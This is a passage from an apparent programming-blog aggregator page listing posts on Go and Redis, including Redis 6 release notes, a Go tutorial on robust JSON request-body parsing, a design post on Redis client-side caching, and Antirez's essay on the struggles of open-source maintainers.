documented yet, but if a client makes a request with a non-empty request body then closes the connection, the context won't be canceled until after you have read the request body. This doesn’t apply to requests without a request body, where the cancellation signal will be received immediately. You should also be aware of the WriteTimeout setting on your http.Server (if you have set one). Your context timeouts should always be shorter than your WriteTimeout value, otherwise the WriteTimeout will be hit first, the connection will be closed, and the client won’t get any response.

• go test -v streaming output
  Dave Cheney · Mar 10, 2020

  The testing package is one of my favourite packages in the Go standard library, not just because of its low noise approach to unit testing, but, over the lifetime of Go, it has received a steady stream of quality of life improvements driven by real world usage. The most recent example of this is, in […]

• Are large slices more expensive than smaller ones?
  Dave Cheney · Mar 01, 2020

  Programmers have a tendency to be superstitious. Particularly, when a programmer hears that copies are expensive, they start to see them everywhere, especially when they learn that, in Go, every assignment is a copy. Consider this code; x is three orders of magnitude larger than y, is the assignment of x to a more expensive […]

• The Zen of Go
  Dave Cheney · Feb 23, 2020

  This article was derived from my GopherCon Israel 2020 presentation. It’s also quite long. If you’d prefer a shorter version, head over to the-zen-of-go.netlify.com. A recording of the presentation is available on YouTube. How should I write good code? Something that I’ve been thinking about a lot recently, when reflecting on the body of my […]

• Redis 6 RC1 is out today
  Antirez · Dec 19, 2019

  So it happened again, a new Redis version reached the release candidate status, and in a few months it will hit the shelves of most supermarkets. I guess this is the most “enterprise” Redis version to date, and it’s funny since I took quite some time in order to understand what “enterprise” ever meant. I think it’s word I genuinely dislike, yet it has some meaning. Redis is now everywhere, and it is still considerably able to “scale down”: you can still download it, compile it in 30 seconds, and run it without any configuration to start hacking. But being everywhere also means being in environments where things like encryption and ACLs are a must, so Redis, inevitably, and more than thanks to me, I would say, in spite of my extreme drive for simplicity, adapted. But what’s interesting is that, even additions may be done in very opinionated ways. Redis ACLs hardly resemble something you saw in other systems, and SSL support was written in a few iterations in order to finally pick the idea that was the most sounding, from the point of view of letting the core as clean as possible. I’m quite happy with the result. Redis 6 does not bring just ACLs and SSL, it is the largest release of Redis ever as far as I can tell, and the one where the biggest amount of people participated. So, let’s start with credits. Who made Redis 6? This is the list of contributors by commits (it’s a terrible metric, but the one I can easily generate), having at least two commits, and excluding merge commits. Also note that the number of commits in my case may be inflated a lot by the fact that I fix many small stuff here and there constantly. 685 antirez 81 zhaozhao.zz 76 Oran Agra 51 artix 28 Madelyn Olson 27 Yossi Gottlieb 15 David Carlier 14 Guy Benoish 14 Guy Korland 13 Itamar Haber 9 Angus Pearson 8 WuYunlong 8 yongman 7 vattezhang 7 Chris Lamb 5 Dvir Volk 5 meir@redislabs.com 5 chendianqiang 5 John Sully 4 dejun.xdj 4 Daniel Dai 4 Johannes Truschnigg 4 swilly22 3 Bruce Merry 3 filipecosta90 3 youjiali1995 2 James Rouzier 2 Andrey Bugaevskiy 2 Brad Solomon 2 Hamid Alaei 2 Michael Chaten 2 Steve Webster 2 Wander Hillen 2 Weiliang Li 2 Yuan Zhou 2 charsyam 2 hujie 2 jem 2 shenlongxing 2 valentino 2 zhudacai 00228490 2 喜欢兰花山丘 Thanks to all the above folks, it was a great team work ladies and gentlemen. The list of new features in the change log is the following: * Many new modules APIs. * Better expire cycle. * SSL * ACLs * RESP3 * Client side caching * Threaded I/O * Diskless replication on replicas * Redis-benchmark cluster support + Redis-cli improvements * Systemd support rewrite. * Redis Cluster proxy was released with Redis 6 (but different repository). * A Disque module was released with Redis 6 (but different repository). Many big things, as you can see. I’ll spend a few words on selected ones. RESP3 === After ten years we needed a new protocol, I talked extensively about it here http://antirez.com/news/125, but then changed my mind, so the RESP3 protocol in Redis 6 is “opt in”. The connection starts in RESP2 mode, and only if you do a handshake using the new HELLO command, you enter in the new protocol mode. Why a new protocol? Because the old one was not semantical enough. There are other features in RESP3, but the main idea was the ability to return complex data types from Redis directly, without the client having to know in what type to convert the flat arrays returned, or the numbers returned instead of proper boolean values, and so forth. Since RESP3 is not the only protocol supported I expect the adoption to be slower than expected, but maybe this is not a bad thing after all: we’ll have time to adapt. ACLs === The best introduction to Redis ACLs is the ACL documentation itself (https://redis.io/topics/acl), even if probably it needs some update to match the last minute changes. So it’s more interesting to talk about motivations here. Redis needed ACLs because people need ACLs in bigger environments, in order to control better which client can do certain operations. But another main point about adding ACLs to Redis was isolation in order to defend the data against application bugs. If your worker can only do BRPOPLPUSH, the chance of the new developer adding for debugging a FLUSHALL that ends in production code for error and creates a nightmare for 5 hours, is lower. ACLs in Redis are for free, both operationally, because if you don’t use them, you can avoid knowing they are supported at all, and from the point of view of performances, since the overhead is not measurable. I guess it’s a good deal to have them. Bonus point, we have a Redis modules interface for ACLs now, so you can write custom authentication methods. SSL === It’s 2019, almost 2020, and there are new regulations. The only problem was doing it right. And doing it right required doing it wrong, understanding the limitations, and then abstracting the Redis connections in order to do it right. This work was entirely performed without my help, which shows how the Redis development process changed in recent times. Client side caching === I blogged about it here http://antirez.com/news/130, however I think that right now this is the most immature feature of Redis 6. Yep, it’s cool that the server can assist you in caching client side values, but I want to improve this before Redis 6 GA is out. Especially it could be very good to add a new mode that requires the server to maintain no state about clients, or very little state at all, and trade this with more messages. Moreover right now the messages to expire certain “cache slots” can’t be compiled in a single one. There is more work to do in January about this feature, but it will be a good one. Disque as a module === Finally I did it :-) https://github.com/antirez/disque-module, and I’m very happy with the result. Disque as a module really shows how powerful is the Redis module system at this point. Cluster message bus APIs, ability to block and resume clients, timers, AOF and RDB control of module private data. If you don’t know what Disque is, check the repository: the README is quite extensive. Cluster Proxy === My colleague Fabio worked for months at this Redis Cluster proxy: https://github.com/artix75/redis-cluster-proxy. It is ages that I want to see it happening, the client landscape is very fragmented when the topic is Redis Cluster support, so now we have a (work in progress) proxy that can do many interesting things. The main one is to abstract the Redis Cluster for clients, like if they were talking to a single instance. Another one is to perform multiplexing, at least when it is simple and clients just use simple commands and features. When there is to block or to perform transactions, the proxy allocates a different set of connections for the client. The proxy is also completely threaded, so it can be a good way in order to maximize the CPU usage in case most of your CPU time is spent in I/O. Check the project README for status and give it a try! Modules === With Redis 6 the modules API is totally at a new level. This is one of the part of Redis that matured faster in our history, because Redis Labs used the modules system from day zero in order to develop very complex stuff, not just trivial examples. Some time ago I started the Disque port, and this also motivated to bring me new features to the modules system. The result is that Redis is really a framework in order to write systems as modules, without having to invent everything from scratch, and being BSD licensed, Redis is really an open platform to write systems. Internals === There are tons of improvements to the Redis internals: the way commands are replicated changed quite a bit, the expires are now using a different algorithm which is faster and more cache obvious. Status and ETA === Today we went RC1, and I hope that between end of March, or at worst, May, you’ll see the GA ready. Right now Redis 6 is definitely testable and the chance you run into a bug is very small. Yet it includes a ton of code changes, and the new features are composed of new code that nobody ran in production before. So if you find bad things, please report them in the issue system describing at your best what happened. Thanks everybody that made this release possible and that will work in the next months to bring it to a very stable state. Oh, I almost forgot! This is the LOLWUT command interactive art for version 6: img://antirez.com/misc/lolwut6.png Every run displays a different landscape that is randomly generated. Comments

• Dynamically scoped variables in Go
  Dave Cheney · Dec 08, 2019

  This is a thought experiment in API design. It starts with the classic Go unit testing idiom: func TestOpenFile(t *testing.T) { f, err := os.Open("notfound") if err != nil { t.Fatal(err) } // ... } What’s the problem with this code? The assertion. if err != nil { ... } is repetitive and in the […]

• Internets of Interest #15: The Queen of the Skies
  Dave Cheney · Dec 05, 2019

  If, like me, you’re a commercial aviation otaku, this walkthrough of an enthusiast built 747 cockpit simulator should be highly relevant to your interests.

• Complementary engineering indicators
  Dave Cheney · Dec 04, 2019

  Last year I had the opportunity to watch Cat Swetel’s presentation The Development Metrics You Should Use (but Don’t). The information that could be gleaned from just tracking the start and finish date of work items was eye opening. If you’re using an issue tracker this information is probably already (perhaps with some light data […]

• Internets of interest #14: UNIX v0
  Dave Cheney · Nov 17, 2019

  Read more over at the Living Computer Museum’s restoration page.

• Internets of interest: Warner Losh on the first ten years of UNIX
  Dave Cheney · Nov 16, 2019

  UNIX turns 50 this year which means 7th edition Research UNIX is that 40.

• How to parse a JSON request body in Go
  Alex Edwards · Oct 21, 2019

  Let's say that you're building a JSON API with Go. And in some of the handlers — probably as part of a POST or PUT request — you want to read a JSON object from the request body and assign it to a struct in your code. After a bit of research, there's a good chance that you'll end up with some code that looks similar to the personCreate handler here: // File: main.go package main import ( "encoding/json" "fmt" "log" "net/http" ) type Person struct { Name string Age int } func personCreate(w http.ResponseWriter, r *http.Request) { // Declare a new Person struct. var p Person // Try to decode the request body into the struct. If there is an error, // respond to the client with the error message and a 400 status code. err := json.NewDecoder(r.Body).Decode(&p) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } // Do something with the Person struct... fmt.Fprintf(w, "Person: %+v", p) } func main() { mux := http.NewServeMux() mux.HandleFunc("/person/create", personCreate) err := http.ListenAndServe(":4000", mux) log.Fatal(err) } If you're putting together a quick prototype, or building an API for personal/internal use only, then the code in the personCreate handler is probably OK. But if you're building an API for public use in production then there are a few issues with this to be aware of, and things that can be improved. Not all errors returned by Decode() are caused by a bad request from the client. Specifically, Decode() can return a json.InvalidUnmarshalError error — which is caused by an unmarshalable target destination being passed to Decode(). If that happens, then it indicates a problem with our application — not the client request — so really the error should be logged and a 500 Internal Server Error response sent to the client instead. The error messages returned by Decode() aren't ideal for sending to a client. Some are arguably too detailed and expose information about the underlying program (like "json: cannot unmarshal number into Go struct field Person.Name of type string"). Others aren't descriptive enough (like "unexpected EOF") and some are just plain confusing (like "invalid character 'A' looking for beginning of object key string"). There also isn't consistency in the formatting or language used. A client can include extra unexpected fields in their JSON, and these fields will be silently ignored without the client receiving any error. We can fix this by using the decoder's DisallowUnknownFields() method. There's no upper limit on the size of the request body that will be read by the Decode() method. Limiting this would help prevent our server resources being wasted if a malcious client sends a very large request body, and it's something we can easily do by using the http.MaxBytesReader() function. There's no check for a Content-Type: application/json header in the request. Of course, this header may not always be present, and mistakes and malicious clients mean that it isn't a guarantee of the actual content type. But checking for an incorrect Content-Type header would allow us to 'fail fast' and send a helpful error message without spending unnecessary resources on parsing the body. The Decode() method is designed to decode streams of JSON objects. This means a request body like '{"Name": "Bob"}{"Name": "Carol": "Age": 54}' or '{"Name": "Dave"}{}' is considered valid and won't result in the client receiving an error message. But in each case, only the first JSON object in the request body will actually be parsed. There are two solutions here. We can either check the decoder's More() method after decoding to see if there any any other JSON objects in the request body. Or we could avoid using Decode() altogether and read the body into a byte slice and pass it to json.Unmarshal(), which would return an error if the body contains multiple JSON objects. The downside of using json.Unmarshal() is that there is no way to disallow extra unexpected fields in the JSON, so we can't address point 3 above. An Improved Handler Let's implement an alternative version of the personCreate handler which addresses all of these issues. You'll notice here that we're using the new errors.Is() and errors.As() functions, which have been introduced in Go 1.13, to help intercept the errors from Decode(). // File: main.go package main import ( "encoding/json" "errors" "fmt" "io" "log" "net/http" "strings" "github.com/golang/gddo/httputil/header" ) type Person struct { Name string Age int } func personCreate(w http.ResponseWriter, r *http.Request) { // If the Content-Type header is present, check that it has the value // application/json. Note that we are using the gddo/httputil/header // package to parse and extract the value here, so the check works // even if the client includes additional charset or boundary // information in the header. if r.Header.Get("Content-Type") != "" { value, _ := header.ParseValueAndParams(r.Header, "Content-Type") if value != "application/json" { msg := "Content-Type header is not application/json" http.Error(w, msg, http.StatusUnsupportedMediaType) return } } // Use http.MaxBytesReader to enforce a maximum read of 1MB from the // response body. A request body larger than that will now result in // Decode() returning a "http: request body too large" error. r.Body = http.MaxBytesReader(w, r.Body, 1048576) // Setup the decoder and call the DisallowUnknownFields() method on it. // This will cause Decode() to return a "json: unknown field ..." error // if it encounters any extra unexpected fields in the JSON. Strictly // speaking, it returns an error for "keys which do not match any // non-ignored, exported fields in the destination". dec := json.NewDecoder(r.Body) dec.DisallowUnknownFields() var p Person err := dec.Decode(&p) if err != nil { var syntaxError *json.SyntaxError var unmarshalTypeError *json.UnmarshalTypeError switch { // Catch any syntax errors in the JSON and send an error message // which interpolates the location of the problem to make it // easier for the client to fix. case errors.As(err, &syntaxError): msg := fmt.Sprintf("Request body contains badly-formed JSON (at position %d)", syntaxError.Offset) http.Error(w, msg, http.StatusBadRequest) // In some circumstances Decode() may also return an // io.ErrUnexpectedEOF error for syntax errors in the JSON. There // is an open issue regarding this at // https://github.com/golang/go/issues/25956. case errors.Is(err, io.ErrUnexpectedEOF): msg := fmt.Sprintf("Request body contains badly-formed JSON") http.Error(w, msg, http.StatusBadRequest) // Catch any type errors, like trying to assign a string in the // JSON request body to a int field in our Person struct. We can // interpolate the relevant field name and position into the error // message to make it easier for the client to fix. case errors.As(err, &unmarshalTypeError): msg := fmt.Sprintf("Request body contains an invalid value for the %q field (at position %d)", unmarshalTypeError.Field, unmarshalTypeError.Offset) http.Error(w, msg, http.StatusBadRequest) // Catch the error caused by extra unexpected fields in the request // body. We extract the field name from the error message and // interpolate it in our custom error message. There is an open // issue at https://github.com/golang/go/issues/29035 regarding // turning this into a sentinel error. case strings.HasPrefix(err.Error(), "json: unknown field "): fieldName := strings.TrimPrefix(err.Error(), "json: unknown field ") msg := fmt.Sprintf("Request body contains unknown field %s", fieldName) http.Error(w, msg, http.StatusBadRequest) // An io.EOF error is returned by Decode() if the request body is // empty. case errors.Is(err, io.EOF): msg := "Request body must not be empty" http.Error(w, msg, http.StatusBadRequest) // Catch the error caused by the request body being too large. Again // there is an open issue regarding turning this into a sentinel // error at https://github.com/golang/go/issues/30715. case err.Error() == "http: request body too large": msg := "Request body must not be larger than 1MB" http.Error(w, msg, http.StatusRequestEntityTooLarge) // Otherwise default to logging the error and sending a 500 Internal // Server Error response. default: log.Print(err.Error()) http.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError) } return } // Check that the request body only contained a single JSON object. if dec.More() { msg := "Request body must only contain a single JSON object" http.Error(w, msg, http.StatusBadRequest) return } fmt.Fprintf(w, "Person: %+v", p) } func main() { mux := http.NewServeMux() mux.HandleFunc("/person/create", personCreate) err := http.ListenAndServe(":4000", mux) log.Fatal(err) } The clear downside here is that this code is a lot more verbose, and IMO, a little bit ugly. Things aren't helped by the fact that there are quite a few open issues with json/encoding which are on hold pending a wider review of the package. But from a security and client perspective it's a lot better : ) The handler is now stricter about the content it will accept; we're reducing the amount of server resources used unnecessarily; and the client gets clear and consistent error messages that provide a decent amount of information without over-sharing. As a side note, you might have noticed that the json/encoding package contains some other error types (like json.UnmarshalFieldError) which aren't checked in the code above — but these have been deprecated and not used by Go 1.13. Making a Helper Function If you've got a few handlers that need to to process JSON request bodies, you probably don't want to repeat this code in all of them. A solution which I've found works well is to create a decodeJSONBody helper function, and have this return a custom malformedRequest error type which wraps the errors and relevant status codes. For example: // File: helpers.go package main import ( "encoding/json" "errors" "fmt" "io" "net/http" "strings" "github.com/golang/gddo/httputil/header" ) type malformedRequest struct { status int msg string } func (mr *malformedRequest) Error() string { return mr.msg } func decodeJSONBody(w http.ResponseWriter, r *http.Request, dst interface{}) error { if r.Header.Get("Content-Type") != "" { value, _ := header.ParseValueAndParams(r.Header, "Content-Type") if value != "application/json" { msg := "Content-Type header is not application/json" return &malformedRequest{status: http.StatusUnsupportedMediaType, msg: msg} } } r.Body = http.MaxBytesReader(w, r.Body, 1048576) dec := json.NewDecoder(r.Body) dec.DisallowUnknownFields() err := dec.Decode(&dst) if err != nil { var syntaxError *json.SyntaxError var unmarshalTypeError *json.UnmarshalTypeError switch { case errors.As(err, &syntaxError): msg := fmt.Sprintf("Request body contains badly-formed JSON (at position %d)", syntaxError.Offset) return &malformedRequest{status: http.StatusBadRequest, msg: msg} case errors.Is(err, io.ErrUnexpectedEOF): msg := fmt.Sprintf("Request body contains badly-formed JSON") return &malformedRequest{status: http.StatusBadRequest, msg: msg} case errors.As(err, &unmarshalTypeError): msg := fmt.Sprintf("Request body contains an invalid value for the %q field (at position %d)", unmarshalTypeError.Field, unmarshalTypeError.Offset) return &malformedRequest{status: http.StatusBadRequest, msg: msg} case strings.HasPrefix(err.Error(), "json: unknown field "): fieldName := strings.TrimPrefix(err.Error(), "json: unknown field ") msg := fmt.Sprintf("Request body contains unknown field %s", fieldName) return &malformedRequest{status: http.StatusBadRequest, msg: msg} case errors.Is(err, io.EOF): msg := "Request body must not be empty" return &malformedRequest{status: http.StatusBadRequest, msg: msg} case err.Error() == "http: request body too large": msg := "Request body must not be larger than 1MB" return &malformedRequest{status: http.StatusRequestEntityTooLarge, msg: msg} default: return err } } if dec.More() { msg := "Request body must only contain a single JSON object" return &malformedRequest{status: http.StatusBadRequest, msg: msg} } return nil } Once that's written, the code in your handlers can be kept really nice and compact: // File: main.go package main import ( "errors" "fmt" "log" "net/http" ) type Person struct { Name string Age int } func personCreate(w http.ResponseWriter, r *http.Request) { var p Person err := decodeJSONBody(w, r, &p) if err != nil { var mr *malformedRequest if errors.As(err, &mr) { http.Error(w, mr.msg, mr.status) } else { log.Print(err.Error()) http.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError) } return } fmt.Fprintf(w, "Person: %+v", p) } func main() { mux := http.NewServeMux() mux.HandleFunc("/person/create", personCreate) log.Print("Starting server on :4000...") err := http.ListenAndServe(":4000", mux) log.Fatal(err) }

• Use internal packages to reduce your public API surface
  Dave Cheney · Oct 06, 2019

  In the beginning, before the go tool, before Go 1.0, the Go distribution stored the standard library in a subdirectory called pkg/ and the commands which built upon it in cmd/. This wasn’t so much a deliberate taxonomy but a by product of the original make based build system. In September 2014, the Go distribution […]

• Client side caching in Redis 6
  Antirez · Jul 04, 2019

  [Note: this post no longer describes the client side implementation in the final implementation of Redis 6, that changed significantly, see https://redis.io/topics/client-side-caching] The New York Redis day was over, I get up at the hotel at 5:30, still pretty in sync with the Italian time zone and immediately went walking on the streets of Manhattan, completely in love with the landscape and the wonderful feeling of being just a number among millions of other numbers. Yet I was thinking at the Redis 6 release with the feeling that, what was probably the most important feature at all, the new version of the Redis protocol (RESP3), was going to have a very slow adoption curve, and for good reasons: wise people avoid switching tools without very good reasons. After all why I wanted to improve the protocol so badly? For two reasons mainly, to provide clients with more semantical replies, and in order to open to new features that were hard to implement with the old protocol; one feature in particular was the most important to me: client side caching. Rewind back to about one year ago. I arrived at Redis Conf 2018, in San Francisco, with the firm idea that client side caching was the most important thing in the future of Redis. If we need fast stores and fast caches, then we need to store a subset of the information inside the client. It is a natural extension of the idea of serving data with small delays and at a big scale. Actually almost every very large company already does it, because it is the only way to survive to the load eventually. Yet Redis had no way to assist the client in such process. A fortunate coincidence wanted Ben Malec having a talk at Redis Conf exactly about client side caching [1], just using the tools that Redis provides and a number of very clever ideas. [1] https://www.youtube.com/watch?v=kliQLwSikO4 The approach taken by Ben really opened my imagination. There were two key ideas Ben used in order to make his design work. The first was to use the Redis Cluster idea of “hash slots” in order to divide keys into 16k groups. That way clients would not need to track the validity of each key, but could use a single metadata entry for a group of keys. Ben used Pub/Sub in order to send the notifications when keys where changed, so he needed some help by the application in all its parts, however the schema was very solid. Modify a key? Also publish a message invalidating it. On the client side, are you caching keys? Remember the timestamp at which you cache each key, and also when receiving invalidation messages, remember the invalidation time for each slot. When using a given cached key, do a lazy eviction, by checking if the key you cached has a timestamp which is older than the timestamp of the invalidation received for the slot this key belongs to: in that case the key is stale data, you have to ask the server again. After watching the talk, I realized that this was a great idea to be used inside the server, in order to allow Redis to do part of the work for the client, and make client side caching simpler and more effective, so I returned home and wrote a document describing my design [2]. [2] https://groups.google.com/d/msg/redis-db/xfcnYkbutDw/kTwCozpBBwAJ But to make my design working I had to focus on switching the Redis protocol to something better, so I started writing the specification and later the code for RESP3, and the other Redis 6 things like ACL and so forth, and client side caching joined the huge room of the many ideas for Redis that I abandoned in some way or the other for lack of time. Yet I was among the streets of New York thinking about this idea. Later went to lunch and coffee break with friends from the conference. When I returned to my hotel room I had all the evening left, and most of the next day before the flight, so I started writing the implementation of client side caching for Redis 6, closely following the proposal I wrote to the group one year ago: it still looked great. Redis server-assisted client side caching, finally called “tracking” (but I may change idea), is a very simple feature composed of just a few key ideas. The key space is split into “caching slots”, but they are a lot more than the hash slots used by Ben. We use 24 bits of the output of CRC64, so there are a bit more than 16 millions different slots. Why so much? Because I think you want to have a server with 100 millions of keys, and yet an invalidation message should not affect more than a few keys in the client side cache. The memory overhead inside Redis to take the invalidation table is 130 megabyte: an array of 8 bytes pointers to 16M entries. That’s ok with me, if you want the feature you are going to make a great use of all the memory you have in the clients, so to use 130MB server side is fine; what you win is a much more fine grained invalidation. Clients enable the feature in an “opt in” way, with a simple command: CLIENT TRACKING on The server replies the good old +OK, and starting from that moment, every command that is flagged as “read only” in the command table, will not just return the keys to the caller, it will also, as a side effect, remember the caching slots of all the keys the client requested so far (but only the ones using a read only command, that's the agreement between the server and the client). The way Redis stores this information is simple. Each Redis client has an unique ID, so if client ID 123 performs an MGET about keys hashing to the slot 1, 2, and 5, we’ll have the Invalidation Table with the following entry: 1 -> [123] 2 -> [123] 5 -> [123] But later also client ID 444 will ask about keys in the slot 5, so the table will be like: 5 -> [123, 444] Now some other client changes some key in the slot 5. What happens is that Redis will check the Invalidation Table, to find that both clients 123 and 444 may have cached keys on that slot. We’ll send an invalidation message to both clients, as a result they will be free to deal with it in any form: either remember with a timestamp the last time the slot was invalidate, and check later in a lazy way the timestamp (or incremental “epoch” if you like it more: it is safer) of the cached object, and evict it based on the comparison. Otherwise the client is free to reclaim the objects directly, by taking a table of what it cached about this specific slot. This approach with a 24 bit hash function is not an issue, because we’ll not have a very long list at all, even when caching tens of millions of keys. After sending the invalidation messages, we can remove the entries from the invalidation table, this way we'll no longer send invalidation messages to those clients until they don't read again keys for such slot. Note that clients are not forced to really use all the 24 bits of the hash function. They may just use, for instance, 20 bits, and then also shift the invalidation messages slots that Redis sends them. Not sure if there are many good reasons to do that, but in memory constrained systems may be an idea. If you followed closely what I said, you are thinking that the same connection receives both the normal client replies, and the invalidation messages. This is possible with RESP3, because invalidations are sent as “push” message types. Yet if the client is a blocking one, and not an event driven client, this starts to be complex: the application need some way to read new data from time to time, and that looks complex and fragile. It is perhaps, in that case, much better to use another application thread, and a different client connection, in order to receive the invalidation messages. So you are allowed to do the following: CLIENT TRACKING on REDIRECT 1234 Basically we can say that all the keys we get with the current connection, we want the invalidation message to be sent to client 1234 instead. Multiple clients may ask to have the invalidation messages redirected to a single client for instance, in case of connection pools. All you need to do is to create this special connection to receive the invalidation messages, call CLIENT ID to know which ID this client connection has, and later enable tracking. There is one problem left: what happens if we lose the connection with the server from the invalidation link? We may run into troubles since invalidation messages will no longer be received. Normally the application will detect the link is severed, and will reconnect again, flushing the current cache (or taking more soft resolutions, like putting all the timestamps for the slots a few seconds in the future to have some time to populate the cache while serving data that may be a few seconds stale). Yet it may be a better idea if the invalidation thread pings from time to time the connection to make sure it is alive. However in order to reduce the risk of stale data, Redis will also start to inform the clients that redirected the invalidation messages to some other client, that is now disconnected, about the situation, just using special push messages: at the next query performed the client will know. What I described was just merged into Redis unstable. Probably it’s not the final word, but we have more months before the first Redis 6 release candidate, there is time to change everything: just send me your feedbacks. I’m also looking at ways to enable the feature for RESP2. That would work only when redirection is enabled, and the client listening for messages should probably go into Pub/Sub mode so that we could send kinda of Pub/Sub messages. In this way old clients can be fully reused. I hope this was enough to stimulate your appetite: if we execute this inside Redis very well, and then document it for the client authors to know how to provide support, data may go a lot nearer to the application than ever, even in applications ran by small teams that so far avoided trying to implement client side caching. For large teams and very large applications doing this already, the overhead could be reduced, together with the complexity of the implementation. Comments

• The struggles of an open source maintainer
  Antirez · May 16, 2019

  Months ago the maintainer of an OSS project in the sphere of system software, with quite a big and active community, wrote me an email saying that he struggles to continue maintaining his project after so many years, because of how much psychologically taxing such effort is. He was looking for advices from me, I’m not sure to be in the position of giving advices, however I told him I would write a blog post about what I think about the matter. Several weeks passed, and multiple times I started writing such post and stopped, because I didn’t had the time to process the ideas for enough time. Now I think I was able to analyze myself to find answers inside my own weakness, struggles, and desire of freedom, that inevitably invades the human minds when they do some task, that also has some negative aspect, for a prolonged amount of time. Maintaining an open source project is also a lot of joy and fun and these latest ten years of my professional life are surely memorable, even if not the absolute best (I had more fun during my startup times after all). However here I’ll focus on the negative side; simply make sure you don’t get the feeling it is just that, there is also a lot of good in it. Flood effect I don’t believe in acting fast, thinking fast, winning the competition on time and stuff like that. I don’t like the world of constant lack of focus we live in, because of social networks, chats, emails, and a schedule full of activities. So when I used to receive an email about Redis back in the early times of the project, when I still had plenty of time, I was able to focus on what the author of the message was trying to tell me. Then I could recall the relevant part of Redis we were discussing, and finally reply with my real thoughts, after considering the matter with care. I believe this is how most people should work regardless of what their job is. When a software project reaches the popularity Redis reached, and at the same time once the communications between individuals are made so simple by the new social tools, and by your attitude to be “there” for users, the amount of messages, issues, pull requests, suggestions the authors receive will grow exponentially. At the same time, at least in the case of Redis, but I believe this to be a common problem, the amount of very qualified people that can look at such inputs from the community grows very slowly. This creates an obvious congestion. Most people try to address it in the wrong way: using pragmatism. Let’s close the issue after two weeks of no original poster replies, after we ask some question. Close all the issues that are not very well specified. And other “inbox zero” solutions. The reality is that to process community feedbacks very well you have to take the time needed, otherwise you will just pretend your project has a small number of open issues. Having a lot of resources to hire core-level experts for each Redis subsystem, to work at OSS full time, would work but is not feasible. So what happens? That you start to prioritize more and more what to look at and what not. And you feel you are a piece of shit at ignoring so many things and people, and also the contributor believes you don’t care about what others have to give you. It’s a complex situation. Usually the end result is to develop an attitude to mostly address critical issues and disregard all the new stuff, since new stuff are yet not in the core, and who wants to have a larger code base with even more PRs and issues there? Maybe also written in a more convoluted way compared to your usual programming style, so, more complexity, and good luck when there is a critical bug there to track the root cause. Role shifting As a result of the “flood effect” problem exposed above, you suddenly also change job. Redis became popular because I supposedly am able to design and write software. And now instead most of the work I do is to look at issues and pull requests, and I also feel that I could do better many of the contributions I receive. Some will be better quality than I could do, because there are also better programmers than me contributing to Redis, but *most* for the nature of big numbers will be average contributions that are just written to solve a given problem that was contingent for the folks that submitted it. While, when I design for Redis, I tend to think at Redis as a whole, because it’s years I write this thing. So what you were good at, you have no longer time to do. This in turn means less organic big new features. My solution with that? Sometimes I just stop looking at issues and PRs for weeks, because I’m coding or designing: that is the work I really love and enjoy. However this in turn creates ways more pressure on me, psychologically. To do what I love and I can do well I’ve to feel like shit. Time There are two problems related to working at the same project for a prolonged amount of time, at least for me. First, before of the Redis experience I *never* worked every week day of my life. I could work one week, stop two, then work one month, then disappear for other two months. Always. People need to recharge, get new energy and ideas, to do creative work. And programming at high level is a fucking creative job. Redis itself was created like that for the first two years, that is, when the project evolved at the fastest speed. Because the sum of the productivity of me working just when I want is greater than the productivity I’ve when I’m forced to work every day in a steady way. However my work ethics allowed me to have a very discontinue schedule when I was working alone with my companies. Once I started to receive money to work at Redis, it was no longer possible for my ethics to have my past pattern, so I started to force myself to work under normal schedules. This for me is a huge struggle, for many years at this point. Moreover I’m sure I’m doing less than I could because of that, but this is how things work. I never found a way to solve this problem. I could say Redis Labs that I want to return to my old schedule, but that would not work because at this point I really “report” to the community, not to the company. Another problem is that working a lot at the same project is also a complex matter, mentally speaking. I used to change project every six months in the past. Now for ten years I did the same thing. In that regard I tried to save my sanity by having sub-projects inside Redis. One time I did Cluster, another time disk-storage (now abandoned), another was HyerLogLogs, and so forth. Basically things that bring value to the project but that, in isolation, are other stuff. But eventually you have to return back to the issues and PRs page and address the same things every day. “Replica is disconnecting because of a timeout” or whatever. Let’s investigate that again. Fear I always had some fear to lose the technological leadership of the project. Not because I think I’m not good enough at designing and evolving Redis, but because I know my ways are not aligned with: 1) what a sizable amount of users want. 2) what most people in IT believe software is. So I had to constantly balance between what I believe to be good design, set of features, speed of development (slow), size of the project (minimal), and what I was expected to deliver by most of the user base. Fortunately there is a percentage of Redis users that understand perfectly the Redis-way, so at least from time to time I can get some word of comfort. Frictions Certain people are total assholes. They are everywhere, it is natural and if you ask me, I even believe in programming there are a lot more nice people than in other fields. But yet you’ll always see a percentage of total jerks. As the leader of a popular OSS project, in one way or the other you’ll have to confront with these people, and that’s maybe one of the most stressful things I ever did in the course of the Redis development. Futileness Sometimes I believe that software, while great, will never be huge like writing a book that will survive for centuries. Note because it is not as great per-se, but because as a side effect it is also useful… and will be replaced when something more useful is around. I would like to have time to do other activities as well. So sometimes I believe all I’m doing is, in the end, futile. We’ll design and write systems, and new systems will emerge; but anyone that just stays in software, instead of staying in “software big ideas”, will ever set a new mark? From time to time I think I had potentially the ability to work at big ideas but because I focused on writing software instead of thinking about software, I was not able to use my potential in that regard. This is basically the contrary of the impostor syndrome, so I guess I’ve a big idea of myself: sorry for that I should be more humble. That said, I was able to work for many years doing things I really loved, that gave me friends, recognition, money, so I don’t want to say it was a bad deal. Yet I totally understand people struggling a lot to stay afloat once their projects start to be popular. This blog post is dedicated to them. Comments

• Using PostgreSQL JSONB with Go
  Alex Edwards · May 14, 2019

